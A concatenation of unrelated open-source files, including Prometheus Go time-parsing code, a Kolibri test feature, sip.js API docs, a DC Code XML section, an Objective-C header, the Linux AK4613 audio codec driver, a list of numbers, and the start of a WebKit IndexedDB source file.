}
| {
"pile_set_name": "Github"
} |
// Copyright 2013 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package model
import (
"fmt"
"math"
"regexp"
"strconv"
"strings"
"time"
)
const (
// MinimumTick is the minimum supported time resolution. This has to be
// at least time.Second in order for the code below to work.
minimumTick = time.Millisecond
// second is the Time duration equivalent to one second.
second = int64(time.Second / minimumTick)
// The number of nanoseconds per minimum tick.
nanosPerTick = int64(minimumTick / time.Nanosecond)
// Earliest is the earliest Time representable. Handy for
// initializing a high watermark.
Earliest = Time(math.MinInt64)
// Latest is the latest Time representable. Handy for initializing
// a low watermark.
Latest = Time(math.MaxInt64)
)
// Time is the number of milliseconds since the epoch
// (1970-01-01 00:00 UTC) excluding leap seconds.
type Time int64
// Interval describes an interval between two timestamps.
type Interval struct {
Start, End Time
}
// Now returns the current time as a Time.
func Now() Time {
return TimeFromUnixNano(time.Now().UnixNano())
}
// TimeFromUnix returns the Time equivalent to the Unix Time t
// provided in seconds.
func TimeFromUnix(t int64) Time {
return Time(t * second)
}
// TimeFromUnixNano returns the Time equivalent to the Unix Time
// t provided in nanoseconds.
func TimeFromUnixNano(t int64) Time {
return Time(t / nanosPerTick)
}
// Equal reports whether two Times represent the same instant.
func (t Time) Equal(o Time) bool {
return t == o
}
// Before reports whether the Time t is before o.
func (t Time) Before(o Time) bool {
return t < o
}
// After reports whether the Time t is after o.
func (t Time) After(o Time) bool {
return t > o
}
// Add returns the Time t + d.
func (t Time) Add(d time.Duration) Time {
return t + Time(d/minimumTick)
}
// Sub returns the Duration t - o.
func (t Time) Sub(o Time) time.Duration {
return time.Duration(t-o) * minimumTick
}
// Time returns the time.Time representation of t.
func (t Time) Time() time.Time {
return time.Unix(int64(t)/second, (int64(t)%second)*nanosPerTick)
}
// Unix returns t as a Unix time, the number of seconds elapsed
// since January 1, 1970 UTC.
func (t Time) Unix() int64 {
return int64(t) / second
}
// UnixNano returns t as a Unix time, the number of nanoseconds elapsed
// since January 1, 1970 UTC.
func (t Time) UnixNano() int64 {
return int64(t) * nanosPerTick
}
// The number of digits after the dot.
var dotPrecision = int(math.Log10(float64(second)))
// String returns a string representation of the Time.
func (t Time) String() string {
return strconv.FormatFloat(float64(t)/float64(second), 'f', -1, 64)
}
// MarshalJSON implements the json.Marshaler interface.
func (t Time) MarshalJSON() ([]byte, error) {
return []byte(t.String()), nil
}
// UnmarshalJSON implements the json.Unmarshaler interface.
func (t *Time) UnmarshalJSON(b []byte) error {
p := strings.Split(string(b), ".")
switch len(p) {
case 1:
v, err := strconv.ParseInt(string(p[0]), 10, 64)
if err != nil {
return err
}
*t = Time(v * second)
case 2:
v, err := strconv.ParseInt(string(p[0]), 10, 64)
if err != nil {
return err
}
v *= second
prec := dotPrecision - len(p[1])
if prec < 0 {
p[1] = p[1][:dotPrecision]
} else if prec > 0 {
p[1] = p[1] + strings.Repeat("0", prec)
}
va, err := strconv.ParseInt(p[1], 10, 32)
if err != nil {
return err
}
// If the value was something like -0.1 the negative is lost in the
// parsing because of the leading zero, this ensures that we capture it.
if len(p[0]) > 0 && p[0][0] == '-' && v+va > 0 {
*t = Time(v+va) * -1
} else {
*t = Time(v + va)
}
default:
return fmt.Errorf("invalid time %q", string(b))
}
return nil
}
// Duration wraps time.Duration. It is used to parse the custom duration format
// from YAML.
// This type should not propagate beyond the scope of input/output processing.
type Duration time.Duration
// Set implements pflag/flag.Value
func (d *Duration) Set(s string) error {
var err error
*d, err = ParseDuration(s)
return err
}
// Type implements pflag.Value
func (d *Duration) Type() string {
return "duration"
}
var durationRE = regexp.MustCompile("^([0-9]+)(y|w|d|h|m|s|ms)$")
// ParseDuration parses a string into a time.Duration, assuming that a year
// always has 365d, a week always has 7d, and a day always has 24h.
func ParseDuration(durationStr string) (Duration, error) {
matches := durationRE.FindStringSubmatch(durationStr)
if len(matches) != 3 {
return 0, fmt.Errorf("not a valid duration string: %q", durationStr)
}
var (
n, _ = strconv.Atoi(matches[1])
dur = time.Duration(n) * time.Millisecond
)
switch unit := matches[2]; unit {
case "y":
dur *= 1000 * 60 * 60 * 24 * 365
case "w":
dur *= 1000 * 60 * 60 * 24 * 7
case "d":
dur *= 1000 * 60 * 60 * 24
case "h":
dur *= 1000 * 60 * 60
case "m":
dur *= 1000 * 60
case "s":
dur *= 1000
case "ms":
// Value already correct
default:
return 0, fmt.Errorf("invalid time unit in duration string: %q", unit)
}
return Duration(dur), nil
}
func (d Duration) String() string {
var (
ms = int64(time.Duration(d) / time.Millisecond)
unit = "ms"
)
if ms == 0 {
return "0s"
}
factors := map[string]int64{
"y": 1000 * 60 * 60 * 24 * 365,
"w": 1000 * 60 * 60 * 24 * 7,
"d": 1000 * 60 * 60 * 24,
"h": 1000 * 60 * 60,
"m": 1000 * 60,
"s": 1000,
"ms": 1,
}
switch int64(0) {
case ms % factors["y"]:
unit = "y"
case ms % factors["w"]:
unit = "w"
case ms % factors["d"]:
unit = "d"
case ms % factors["h"]:
unit = "h"
case ms % factors["m"]:
unit = "m"
case ms % factors["s"]:
unit = "s"
}
return fmt.Sprintf("%v%v", ms/factors[unit], unit)
}
// MarshalYAML implements the yaml.Marshaler interface.
func (d Duration) MarshalYAML() (interface{}, error) {
return d.String(), nil
}
// UnmarshalYAML implements the yaml.Unmarshaler interface.
func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {
var s string
if err := unmarshal(&s); err != nil {
return err
}
dur, err := ParseDuration(s)
if err != nil {
return err
}
*d = dur
return nil
}
| {
"pile_set_name": "Github"
} |
Feature: Facility admin device management
Facility admins with device permissions need to see the *Device* dashboard to be able to manage resources
Background:
Given I am signed into Kolibri as a facility admin user with device permissions for content import
Scenario: View all the options for managing content
When I go to *Device > Channels* page
Then I see the list of already imported channels
And I see the *Options* button for each channel
And I see the *Import* and *Export* buttons
When I click the *Options* button
And I select *Import more*
Then I see the *Select a source* modal
And I can select one of the options
# Continue testing content management by using the scenarios for super admins
| {
"pile_set_name": "Github"
} |
<!-- Do not edit this file. It is automatically generated by API Documenter. -->
[Home](./index.md) > [sip.js](./sip.js.md)
## sip.js package
A SessionDescriptionHandler for web browsers.
## Classes
| Class | Description |
| --- | --- |
| [SessionDescriptionHandler](./sip.js.sessiondescriptionhandler.md) | A base class implementing a WebRTC session description handler for sip.js. |
## Functions
| Function | Description |
| --- | --- |
| [defaultMediaStreamFactory()](./sip.js.defaultmediastreamfactory.md) | Function which returns a MediaStreamFactory. |
| [defaultPeerConnectionConfiguration()](./sip.js.defaultpeerconnectionconfiguration.md) | Function which returns an RTCConfiguration. |
| [defaultSessionDescriptionHandlerFactory(mediaStreamFactory)](./sip.js.defaultsessiondescriptionhandlerfactory.md) | Function which returns a SessionDescriptionHandlerFactory. |
## Interfaces
| Interface | Description |
| --- | --- |
| [PeerConnectionDelegate](./sip.js.peerconnectiondelegate.md) | Delegate to handle PeerConnection state changes. |
| [SessionDescriptionHandlerConfiguration](./sip.js.sessiondescriptionhandlerconfiguration.md) | Configuration for SessionDescriptionHandler. |
| [SessionDescriptionHandlerFactory](./sip.js.sessiondescriptionhandlerfactory.md) | Factory for [SessionDescriptionHandler](./sip.js.sessiondescriptionhandler.md)<!-- -->. |
| [SessionDescriptionHandlerOptions](./sip.js.sessiondescriptionhandleroptions.md) | Options for [SessionDescriptionHandler](./sip.js.sessiondescriptionhandler.md)<!-- -->. |
## Type Aliases
| Type Alias | Description |
| --- | --- |
| [MediaStreamFactory](./sip.js.mediastreamfactory.md) | Interface of factory function which produces a MediaStream. |
| [SessionDescriptionHandlerFactoryOptions](./sip.js.sessiondescriptionhandlerfactoryoptions.md) | Options for SessionDescriptionHandlerFactory. |
| {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='utf-8'?>
<section xmlns="https://code.dccouncil.us/schemas/dc-library" xmlns:codified="https://code.dccouncil.us/schemas/codified" xmlns:codify="https://code.dccouncil.us/schemas/codify" xmlns:xi="http://www.w3.org/2001/XInclude" containing-doc="D.C. Code">
<num>9-411.02</num>
<heading>Special assessments for curbs and gutters levied — Computation.</heading>
<text>The total assessment levied hereunder against any abutting property shall not exceed the number of square feet of area of said property multiplied by 1 per centum of the linear front-foot assessment and shall not exceed 10 per centum of the value of the said abutting property, exclusive of improvements thereon, as assessed for the purpose of taxation at the time of the laying of the curb or gutter or curb and gutter for which said assessment is levied. In computing assessments hereunder against unsubdivided land according to the assessed valuation, there shall be excluded from the computation land lying back more than 100 feet from the street, avenue, or road being improved where the depth is even, and where the depth is uneven the average depth shall be taken in computation but not to exceed more than 100 feet.</text>
<annotations>
<annotation type="History" doc="Stat. 78-1-ch98" path="§2">May 25, 1943, 57 Stat. 83, ch. 98, § 2</annotation>
<annotation type="Prior Codifications">1973 Ed., § 7-612b.</annotation>
<annotation type="Prior Codifications">1981 Ed., § 7-615.</annotation>
</annotations>
</section>
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <Foundation/NSMutableURLRequest.h>
@interface NSMutableURLRequest (GKAdditions)
+ (int)hashForPlayerID:(id)arg1;
+ (id)_gkHTTPRequestWithURL:(id)arg1 method:(id)arg2 postData:(id)arg3;
- (void)setSAPversion:(id)arg1;
- (void)setSAPSignature:(id)arg1;
- (void)setLocale:(id)arg1;
- (void)setInternal:(BOOL)arg1;
- (void)setPushToken:(id)arg1;
- (void)setBuildVersion:(id)arg1;
- (void)setProtocolVersion:(id)arg1;
- (void)setProcessName:(id)arg1;
- (void)setDeviceUniqueID:(id)arg1;
- (void)setRestrictions:(id)arg1;
- (void)setStoreMode:(id)arg1;
- (void)setGameDescriptor:(id)arg1;
- (void)setPlayerID:(id)arg1 hash:(int)arg2 authToken:(id)arg3;
@end
| {
"pile_set_name": "Github"
} |
/*
* ak4613.c -- Asahi Kasei ALSA Soc Audio driver
*
* Copyright (C) 2015 Renesas Electronics Corporation
* Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>
*
* Based on ak4642.c by Kuninori Morimoto
* Based on wm8731.c by Richard Purdie
* Based on ak4535.c by Richard Purdie
* Based on wm8753.c by Liam Girdwood
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/clk.h>
#include <linux/i2c.h>
#include <linux/slab.h>
#include <linux/of_device.h>
#include <linux/module.h>
#include <linux/regmap.h>
#include <sound/soc.h>
#include <sound/pcm_params.h>
#include <sound/tlv.h>
#define PW_MGMT1 0x00 /* Power Management 1 */
#define PW_MGMT2 0x01 /* Power Management 2 */
#define PW_MGMT3 0x02 /* Power Management 3 */
#define CTRL1 0x03 /* Control 1 */
#define CTRL2 0x04 /* Control 2 */
#define DEMP1 0x05 /* De-emphasis1 */
#define DEMP2 0x06 /* De-emphasis2 */
#define OFD 0x07 /* Overflow Detect */
#define ZRD 0x08 /* Zero Detect */
#define ICTRL 0x09 /* Input Control */
#define OCTRL 0x0a /* Output Control */
#define LOUT1 0x0b /* LOUT1 Volume Control */
#define ROUT1 0x0c /* ROUT1 Volume Control */
#define LOUT2 0x0d /* LOUT2 Volume Control */
#define ROUT2 0x0e /* ROUT2 Volume Control */
#define LOUT3 0x0f /* LOUT3 Volume Control */
#define ROUT3 0x10 /* ROUT3 Volume Control */
#define LOUT4 0x11 /* LOUT4 Volume Control */
#define ROUT4 0x12 /* ROUT4 Volume Control */
#define LOUT5 0x13 /* LOUT5 Volume Control */
#define ROUT5 0x14 /* ROUT5 Volume Control */
#define LOUT6 0x15 /* LOUT6 Volume Control */
#define ROUT6 0x16 /* ROUT6 Volume Control */
/* PW_MGMT1 */
#define RSTN BIT(0)
#define PMDAC BIT(1)
#define PMADC BIT(2)
#define PMVR BIT(3)
/* PW_MGMT2 */
#define PMAD_ALL 0x7
/* PW_MGMT3 */
#define PMDA_ALL 0x3f
/* CTRL1 */
#define DIF0 BIT(3)
#define DIF1 BIT(4)
#define DIF2 BIT(5)
#define TDM0 BIT(6)
#define TDM1 BIT(7)
#define NO_FMT (0xff)
#define FMT_MASK (0xf8)
/* CTRL2 */
#define DFS_NORMAL_SPEED (0 << 2)
#define DFS_DOUBLE_SPEED (1 << 2)
#define DFS_QUAD_SPEED (2 << 2)
struct ak4613_priv {
struct mutex lock;
unsigned int fmt;
u8 fmt_ctrl;
int cnt;
};
struct ak4613_formats {
unsigned int width;
unsigned int fmt;
};
struct ak4613_interface {
struct ak4613_formats capture;
struct ak4613_formats playback;
};
/*
* Playback Volume
*
* max : 0x00 : 0 dB
* ( 0.5 dB step )
* min : 0xFE : -127.0 dB
* mute: 0xFF
*/
static const DECLARE_TLV_DB_SCALE(out_tlv, -12750, 50, 1);
static const struct snd_kcontrol_new ak4613_snd_controls[] = {
SOC_DOUBLE_R_TLV("Digital Playback Volume1", LOUT1, ROUT1,
0, 0xFF, 1, out_tlv),
SOC_DOUBLE_R_TLV("Digital Playback Volume2", LOUT2, ROUT2,
0, 0xFF, 1, out_tlv),
SOC_DOUBLE_R_TLV("Digital Playback Volume3", LOUT3, ROUT3,
0, 0xFF, 1, out_tlv),
SOC_DOUBLE_R_TLV("Digital Playback Volume4", LOUT4, ROUT4,
0, 0xFF, 1, out_tlv),
SOC_DOUBLE_R_TLV("Digital Playback Volume5", LOUT5, ROUT5,
0, 0xFF, 1, out_tlv),
SOC_DOUBLE_R_TLV("Digital Playback Volume6", LOUT6, ROUT6,
0, 0xFF, 1, out_tlv),
};
static const struct reg_default ak4613_reg[] = {
{ 0x0, 0x0f }, { 0x1, 0x07 }, { 0x2, 0x3f }, { 0x3, 0x20 },
{ 0x4, 0x20 }, { 0x5, 0x55 }, { 0x6, 0x05 }, { 0x7, 0x07 },
{ 0x8, 0x0f }, { 0x9, 0x07 }, { 0xa, 0x3f }, { 0xb, 0x00 },
{ 0xc, 0x00 }, { 0xd, 0x00 }, { 0xe, 0x00 }, { 0xf, 0x00 },
{ 0x10, 0x00 }, { 0x11, 0x00 }, { 0x12, 0x00 }, { 0x13, 0x00 },
{ 0x14, 0x00 }, { 0x15, 0x00 }, { 0x16, 0x00 },
};
#define AUDIO_IFACE_IDX_TO_VAL(i) (i << 3)
#define AUDIO_IFACE(b, fmt) { b, SND_SOC_DAIFMT_##fmt }
static const struct ak4613_interface ak4613_iface[] = {
/* capture */ /* playback */
[0] = { AUDIO_IFACE(24, LEFT_J), AUDIO_IFACE(16, RIGHT_J) },
[1] = { AUDIO_IFACE(24, LEFT_J), AUDIO_IFACE(20, RIGHT_J) },
[2] = { AUDIO_IFACE(24, LEFT_J), AUDIO_IFACE(24, RIGHT_J) },
[3] = { AUDIO_IFACE(24, LEFT_J), AUDIO_IFACE(24, LEFT_J) },
[4] = { AUDIO_IFACE(24, I2S), AUDIO_IFACE(24, I2S) },
};
static const struct regmap_config ak4613_regmap_cfg = {
.reg_bits = 8,
.val_bits = 8,
.max_register = 0x16,
.reg_defaults = ak4613_reg,
.num_reg_defaults = ARRAY_SIZE(ak4613_reg),
.cache_type = REGCACHE_RBTREE,
};
static const struct of_device_id ak4613_of_match[] = {
{ .compatible = "asahi-kasei,ak4613", .data = &ak4613_regmap_cfg },
{},
};
MODULE_DEVICE_TABLE(of, ak4613_of_match);
static const struct i2c_device_id ak4613_i2c_id[] = {
{ "ak4613", (kernel_ulong_t)&ak4613_regmap_cfg },
{ }
};
MODULE_DEVICE_TABLE(i2c, ak4613_i2c_id);
static const struct snd_soc_dapm_widget ak4613_dapm_widgets[] = {
/* Outputs */
SND_SOC_DAPM_OUTPUT("LOUT1"),
SND_SOC_DAPM_OUTPUT("LOUT2"),
SND_SOC_DAPM_OUTPUT("LOUT3"),
SND_SOC_DAPM_OUTPUT("LOUT4"),
SND_SOC_DAPM_OUTPUT("LOUT5"),
SND_SOC_DAPM_OUTPUT("LOUT6"),
SND_SOC_DAPM_OUTPUT("ROUT1"),
SND_SOC_DAPM_OUTPUT("ROUT2"),
SND_SOC_DAPM_OUTPUT("ROUT3"),
SND_SOC_DAPM_OUTPUT("ROUT4"),
SND_SOC_DAPM_OUTPUT("ROUT5"),
SND_SOC_DAPM_OUTPUT("ROUT6"),
/* Inputs */
SND_SOC_DAPM_INPUT("LIN1"),
SND_SOC_DAPM_INPUT("LIN2"),
SND_SOC_DAPM_INPUT("RIN1"),
SND_SOC_DAPM_INPUT("RIN2"),
/* DAC */
SND_SOC_DAPM_DAC("DAC1", NULL, PW_MGMT3, 0, 0),
SND_SOC_DAPM_DAC("DAC2", NULL, PW_MGMT3, 1, 0),
SND_SOC_DAPM_DAC("DAC3", NULL, PW_MGMT3, 2, 0),
SND_SOC_DAPM_DAC("DAC4", NULL, PW_MGMT3, 3, 0),
SND_SOC_DAPM_DAC("DAC5", NULL, PW_MGMT3, 4, 0),
SND_SOC_DAPM_DAC("DAC6", NULL, PW_MGMT3, 5, 0),
/* ADC */
SND_SOC_DAPM_ADC("ADC1", NULL, PW_MGMT2, 0, 0),
SND_SOC_DAPM_ADC("ADC2", NULL, PW_MGMT2, 1, 0),
};
static const struct snd_soc_dapm_route ak4613_intercon[] = {
{"LOUT1", NULL, "DAC1"},
{"LOUT2", NULL, "DAC2"},
{"LOUT3", NULL, "DAC3"},
{"LOUT4", NULL, "DAC4"},
{"LOUT5", NULL, "DAC5"},
{"LOUT6", NULL, "DAC6"},
{"ROUT1", NULL, "DAC1"},
{"ROUT2", NULL, "DAC2"},
{"ROUT3", NULL, "DAC3"},
{"ROUT4", NULL, "DAC4"},
{"ROUT5", NULL, "DAC5"},
{"ROUT6", NULL, "DAC6"},
{"DAC1", NULL, "Playback"},
{"DAC2", NULL, "Playback"},
{"DAC3", NULL, "Playback"},
{"DAC4", NULL, "Playback"},
{"DAC5", NULL, "Playback"},
{"DAC6", NULL, "Playback"},
{"Capture", NULL, "ADC1"},
{"Capture", NULL, "ADC2"},
{"ADC1", NULL, "LIN1"},
{"ADC2", NULL, "LIN2"},
{"ADC1", NULL, "RIN1"},
{"ADC2", NULL, "RIN2"},
};
static void ak4613_dai_shutdown(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct ak4613_priv *priv = snd_soc_codec_get_drvdata(codec);
struct device *dev = codec->dev;
mutex_lock(&priv->lock);
priv->cnt--;
if (priv->cnt < 0) {
dev_err(dev, "unexpected counter error\n");
priv->cnt = 0;
}
if (!priv->cnt)
priv->fmt_ctrl = NO_FMT;
mutex_unlock(&priv->lock);
}
static int ak4613_dai_set_fmt(struct snd_soc_dai *dai, unsigned int fmt)
{
struct snd_soc_codec *codec = dai->codec;
struct ak4613_priv *priv = snd_soc_codec_get_drvdata(codec);
fmt &= SND_SOC_DAIFMT_FORMAT_MASK;
switch (fmt) {
case SND_SOC_DAIFMT_RIGHT_J:
case SND_SOC_DAIFMT_LEFT_J:
case SND_SOC_DAIFMT_I2S:
priv->fmt = fmt;
break;
default:
return -EINVAL;
}
return 0;
}
static int ak4613_dai_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct ak4613_priv *priv = snd_soc_codec_get_drvdata(codec);
const struct ak4613_formats *fmts;
struct device *dev = codec->dev;
unsigned int width = params_width(params);
unsigned int fmt = priv->fmt;
unsigned int rate;
int is_play = substream->stream == SNDRV_PCM_STREAM_PLAYBACK;
int i, ret;
u8 fmt_ctrl, ctrl2;
rate = params_rate(params);
switch (rate) {
case 32000:
case 44100:
case 48000:
ctrl2 = DFS_NORMAL_SPEED;
break;
case 88200:
case 96000:
ctrl2 = DFS_DOUBLE_SPEED;
break;
case 176400:
case 192000:
ctrl2 = DFS_QUAD_SPEED;
break;
default:
return -EINVAL;
}
/*
* FIXME
*
* It doesn't support TDM at this point
*/
fmt_ctrl = NO_FMT;
for (i = 0; i < ARRAY_SIZE(ak4613_iface); i++) {
fmts = (is_play) ? &ak4613_iface[i].playback :
&ak4613_iface[i].capture;
if (fmts->fmt != fmt)
continue;
if (fmt == SND_SOC_DAIFMT_RIGHT_J) {
if (fmts->width != width)
continue;
} else {
if (fmts->width < width)
continue;
}
fmt_ctrl = AUDIO_IFACE_IDX_TO_VAL(i);
break;
}
ret = -EINVAL;
if (fmt_ctrl == NO_FMT)
goto hw_params_end;
mutex_lock(&priv->lock);
if ((priv->fmt_ctrl == NO_FMT) ||
(priv->fmt_ctrl == fmt_ctrl)) {
priv->fmt_ctrl = fmt_ctrl;
priv->cnt++;
ret = 0;
}
mutex_unlock(&priv->lock);
if (ret < 0)
goto hw_params_end;
snd_soc_update_bits(codec, CTRL1, FMT_MASK, fmt_ctrl);
snd_soc_write(codec, CTRL2, ctrl2);
hw_params_end:
if (ret < 0)
dev_warn(dev, "unsupported data width/format combination\n");
return ret;
}
static int ak4613_set_bias_level(struct snd_soc_codec *codec,
enum snd_soc_bias_level level)
{
u8 mgmt1 = 0;
switch (level) {
case SND_SOC_BIAS_ON:
mgmt1 |= RSTN;
/* fall through */
case SND_SOC_BIAS_PREPARE:
mgmt1 |= PMADC | PMDAC;
/* fall through */
case SND_SOC_BIAS_STANDBY:
mgmt1 |= PMVR;
/* fall through */
case SND_SOC_BIAS_OFF:
default:
break;
}
snd_soc_write(codec, PW_MGMT1, mgmt1);
return 0;
}
static const struct snd_soc_dai_ops ak4613_dai_ops = {
.shutdown = ak4613_dai_shutdown,
.set_fmt = ak4613_dai_set_fmt,
.hw_params = ak4613_dai_hw_params,
};
#define AK4613_PCM_RATE (SNDRV_PCM_RATE_32000 |\
SNDRV_PCM_RATE_44100 |\
SNDRV_PCM_RATE_48000 |\
SNDRV_PCM_RATE_64000 |\
SNDRV_PCM_RATE_88200 |\
SNDRV_PCM_RATE_96000 |\
SNDRV_PCM_RATE_176400 |\
SNDRV_PCM_RATE_192000)
#define AK4613_PCM_FMTBIT (SNDRV_PCM_FMTBIT_S16_LE |\
SNDRV_PCM_FMTBIT_S24_LE)
static struct snd_soc_dai_driver ak4613_dai = {
.name = "ak4613-hifi",
.playback = {
.stream_name = "Playback",
.channels_min = 2,
.channels_max = 2,
.rates = AK4613_PCM_RATE,
.formats = AK4613_PCM_FMTBIT,
},
.capture = {
.stream_name = "Capture",
.channels_min = 2,
.channels_max = 2,
.rates = AK4613_PCM_RATE,
.formats = AK4613_PCM_FMTBIT,
},
.ops = &ak4613_dai_ops,
.symmetric_rates = 1,
};
static int ak4613_resume(struct snd_soc_codec *codec)
{
struct regmap *regmap = dev_get_regmap(codec->dev, NULL);
regcache_mark_dirty(regmap);
return regcache_sync(regmap);
}
static struct snd_soc_codec_driver soc_codec_dev_ak4613 = {
.resume = ak4613_resume,
.set_bias_level = ak4613_set_bias_level,
.controls = ak4613_snd_controls,
.num_controls = ARRAY_SIZE(ak4613_snd_controls),
.dapm_widgets = ak4613_dapm_widgets,
.num_dapm_widgets = ARRAY_SIZE(ak4613_dapm_widgets),
.dapm_routes = ak4613_intercon,
.num_dapm_routes = ARRAY_SIZE(ak4613_intercon),
};
static int ak4613_i2c_probe(struct i2c_client *i2c,
const struct i2c_device_id *id)
{
struct device *dev = &i2c->dev;
struct device_node *np = dev->of_node;
const struct regmap_config *regmap_cfg;
struct regmap *regmap;
struct ak4613_priv *priv;
regmap_cfg = NULL;
if (np) {
const struct of_device_id *of_id;
of_id = of_match_device(ak4613_of_match, dev);
if (of_id)
regmap_cfg = of_id->data;
} else {
regmap_cfg = (const struct regmap_config *)id->driver_data;
}
if (!regmap_cfg)
return -EINVAL;
priv = devm_kzalloc(dev, sizeof(*priv), GFP_KERNEL);
if (!priv)
return -ENOMEM;
priv->fmt_ctrl = NO_FMT;
priv->cnt = 0;
mutex_init(&priv->lock);
i2c_set_clientdata(i2c, priv);
regmap = devm_regmap_init_i2c(i2c, regmap_cfg);
if (IS_ERR(regmap))
return PTR_ERR(regmap);
return snd_soc_register_codec(dev, &soc_codec_dev_ak4613,
&ak4613_dai, 1);
}
static int ak4613_i2c_remove(struct i2c_client *client)
{
snd_soc_unregister_codec(&client->dev);
return 0;
}
static struct i2c_driver ak4613_i2c_driver = {
.driver = {
.name = "ak4613-codec",
.owner = THIS_MODULE,
.of_match_table = ak4613_of_match,
},
.probe = ak4613_i2c_probe,
.remove = ak4613_i2c_remove,
.id_table = ak4613_i2c_id,
};
module_i2c_driver(ak4613_i2c_driver);
MODULE_DESCRIPTION("Soc AK4613 driver");
MODULE_AUTHOR("Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>");
MODULE_LICENSE("GPL v2");
| {
"pile_set_name": "Github"
} |
47
54
54
48
40
46
64
50
37
64
52
46
67
77
68
46
47
63
75
54
58
49
54
47
75
51
58
44
39
58
57
47
47
61
48
76
55
43
49
47
38
54
49
43
44
56
35
53
60
67
61
39
24
60
51
41
70
61
40
61
45
42
50
39
29
52
58
47
48
65
42
60
54
54
63
39
34
59
73
43
67
62
47
51
56
53
54
48
55
54
58
43
59
53
61
58
53
55
58
41
38
64
63
54
64
42
47
56
52
65
79
52
54
47
65
46
43
63
41
56
66
57
61
36
43
57
56
38
46
41
66
49
68
45
62
52
50
69
66
45
56
72
63
65
64
49
45
36
44
46
65
42
46
48
58
53
62
58
60
29
25
42
45
32
43
30
74
52
66
47
44
35
39
83
77
38
38
50
71
73
77
47
69
25
44
36
30
41
43
25
78
46
64
34
49
44
54
48
88
24
32
40
35
49
45
47
46
40
47
38
58
37
26
60
49
76
49
48
77
44
50
89
49
31
31
70
47
80
36
66
69
32
42
49
33
33
24
89
60
47
81
49
71
43
48
72
35
33
33
36
76
51
47
51
88
45
44
49
89
42
32
78
41
72
87
46
48
50
43
94
57
35
31
57
53
45
48
48
47
44
52
49
92
32
31
51
47
68
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2015 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "IDBResultData.h"
#if ENABLE(INDEXED_DATABASE)
#include "UniqueIDBDatabase.h"
#include "UniqueIDBDatabaseConnection.h"
#include "UniqueIDBDatabaseTransaction.h"
namespace WebCore {
IDBResultData::IDBResultData()
{
}
IDBResultData::IDBResultData(const IDBResourceIdentifier& requestIdentifier)
: m_requestIdentifier(requestIdentifier)
{
}
IDBResultData::IDBResultData(IDBResultType type, const IDBResourceIdentifier& requestIdentifier)
: m_type(type)
, m_requestIdentifier(requestIdentifier)
{
}
IDBResultData::IDBResultData(const IDBResultData& other)
: m_type(other.m_type)
, m_requestIdentifier(other.m_requestIdentifier)
, m_error(other.m_error)
, m_databaseConnectionIdentifier(other.m_databaseConnectionIdentifier)
, m_resultInteger(other.m_resultInteger)
{
if (other.m_databaseInfo)
m_databaseInfo = std::make_unique<IDBDatabaseInfo>(*other.m_databaseInfo);
if (other.m_transactionInfo)
m_transactionInfo = std::make_unique<IDBTransactionInfo>(*other.m_transactionInfo);
if (other.m_resultKey)
m_resultKey = std::make_unique<IDBKeyData>(*other.m_resultKey);
if (other.m_getResult)
m_getResult = std::make_unique<IDBGetResult>(*other.m_getResult);
if (other.m_getAllResult)
m_getAllResult = std::make_unique<IDBGetAllResult>(*other.m_getAllResult);
}
IDBResultData::IDBResultData(const IDBResultData& that, IsolatedCopyTag)
{
isolatedCopy(that, *this);
}
IDBResultData IDBResultData::isolatedCopy() const
{
return { *this, IsolatedCopy };
}
void IDBResultData::isolatedCopy(const IDBResultData& source, IDBResultData& destination)
{
destination.m_type = source.m_type;
destination.m_requestIdentifier = source.m_requestIdentifier.isolatedCopy();
destination.m_error = source.m_error.isolatedCopy();
destination.m_databaseConnectionIdentifier = source.m_databaseConnectionIdentifier;
destination.m_resultInteger = source.m_resultInteger;
if (source.m_databaseInfo)
destination.m_databaseInfo = std::make_unique<IDBDatabaseInfo>(*source.m_databaseInfo, IDBDatabaseInfo::IsolatedCopy);
if (source.m_transactionInfo)
